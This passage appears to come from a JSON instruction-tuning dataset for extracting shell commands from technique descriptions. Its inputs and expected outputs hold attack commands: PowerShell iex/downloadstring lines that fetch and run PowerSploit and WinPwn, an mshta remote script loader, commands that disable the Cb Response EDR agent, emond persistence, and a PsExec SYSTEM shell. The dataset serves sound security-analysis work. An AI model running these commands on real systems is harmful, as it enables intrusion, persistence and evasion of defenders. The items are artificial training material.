\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Cb Response service can be disabled by executing this command, which checks your CentOS version first:\nif [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \"6\" ];\nthen\n  service cbdaemon stop\n  chkconfig off cbdaemon\nelse if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \"7\" ];\n  systemctl stop cbdaemon\n  systemctl disable cbdaemon\nfi\n",
    "output": "{\"command_list\": [\"if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \\\"6\\\" ];\\nthen\\n  service cbdaemon stop\\n  chkconfig off cbdaemon\\nelse if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \\\"7\\\" ];\\n  systemctl stop cbdaemon\\n  systemctl disable cbdaemon\\nfi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To record audio using QuickTime Player via AppleScript, run the following command which will create an m4a file in /tmp: sh #{filename} #{audiofile} #{duration}",
    "output": "{\"command_list\": [\"sh #{filename} #{audiofile} #{duration}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Leveraging the emond daemon for startup persistence requires these two commands: sudo cp \"#{plist}\" /etc/emond.d/rules/T1546.014_emond.plist\nsudo touch /private/var/db/emondClients/T1546.014",
    "output": "{\"command_list\": [\"sudo cp \\\"#{plist}\\\" /etc/emond.d/rules/T1546.014_emond.plist\\nsudo touch /private/var/db/emondClients/T1546.014\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When executed, this command will download a payload through mshta and show a success message in a new PowerShell window:\nC:\\Windows\\system32\\cmd.exe /c \"mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()\"\n",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\system32\\\\cmd.exe /c \\\"mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The kernel routing tables can be displayed by executing this command: ip route show",
    "output": "{\"command_list\": [\"ip route show\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PowerUpSQL checks can be launched using the WinPwn's powerSQL function with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    In this attack, PsExec is executed from a suspicious directory to create a new pipe, using the command: cd C:\\Users\\Public\\Temp\\ \n.\\PsExec.exe -i -s cmd  -accepteula",
    "output": "{\"command_list\": [\"cd C:\\\\Users\\\\Public\\\\Temp\\\\ \\n.\\\\PsExec.exe -i -s cmd  -accepteula\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Administrative shares, which provide remote access to disk volumes, can be disabled by modifying the registry with the following commands: reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /t REG_DWORD /d 0 /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareWks /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters\\\" /v AutoShareServer /t REG_DWORD /d 0 /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanServer\\\\Parameters\\\" /v AutoShareWks /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands 